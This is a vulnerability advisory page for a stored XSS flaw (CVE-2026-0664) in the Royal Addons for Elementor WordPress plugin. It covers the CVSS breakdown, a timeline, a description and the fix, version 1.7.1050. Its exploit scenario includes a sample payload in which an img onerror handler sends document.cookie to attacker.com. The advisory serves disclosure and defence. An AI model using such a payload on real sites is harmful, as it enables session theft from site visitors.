What is the CVSS score of EUVD-2026-18973?

EUVD-2026-18973 has a CVSS 3.1 base score of 6.4 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. EPSS exploitation probability: 0.0%.

WordPress EUVD-2026-18973

| CVE-2026-0664 MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-04-04 Wordfence

GHSA-p5fv-fcvc-66v7

WordPress XSS Elementor

6.4

CVSS 3.1 · NVD

Severity by source

NVD PRIMARY

6.4 MEDIUM

AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

Low

Integrity

Low

Availability

None

Lifecycle Timeline

EUVD ID Assigned

Apr 04, 2026 - 07:45 euvd

EUVD-2026-18973

Analysis Generated

Apr 04, 2026 - 07:45 vuln.today

CVE Published

Apr 04, 2026 - 07:41 nvd

MEDIUM 6.4

DescriptionCVE.org

The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'button_text' parameter in all versions up to, and including, 1.7.1049 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

AnalysisAI

Stored Cross-Site Scripting (XSS) in Royal Addons for Elementor plugin allows authenticated contributors and above to inject arbitrary JavaScript via the 'button_text' parameter, affecting all versions through 1.7.1049. The vulnerability stems from insufficient input sanitization and output escaping, enabling attackers to execute malicious scripts in the context of any user visiting an affected page. …

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Vulnerability AssessmentAI

Risk Assessment	The CVSS 6.4 score reflects moderate risk with network accessibility and low complexity, but the attack requires PR:L (low privilege: authenticated contributor access). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	A WordPress site administrator grants a new team member contributor access to help manage content and forms. The malicious contributor uses the Elementor page builder to create or edit a form widget, injecting JavaScript in the 'button_text' field (e.g., button_text='<img src=x onerror=fetch("https://attacker.com/steal?cookie="+document.cookie)>'). …
Remediation	Update the Royal Addons for Elementor plugin to version 1.7.1050 or later to remediate this vulnerability. … Detailed patch versions, workarounds, and compensating controls in full report.

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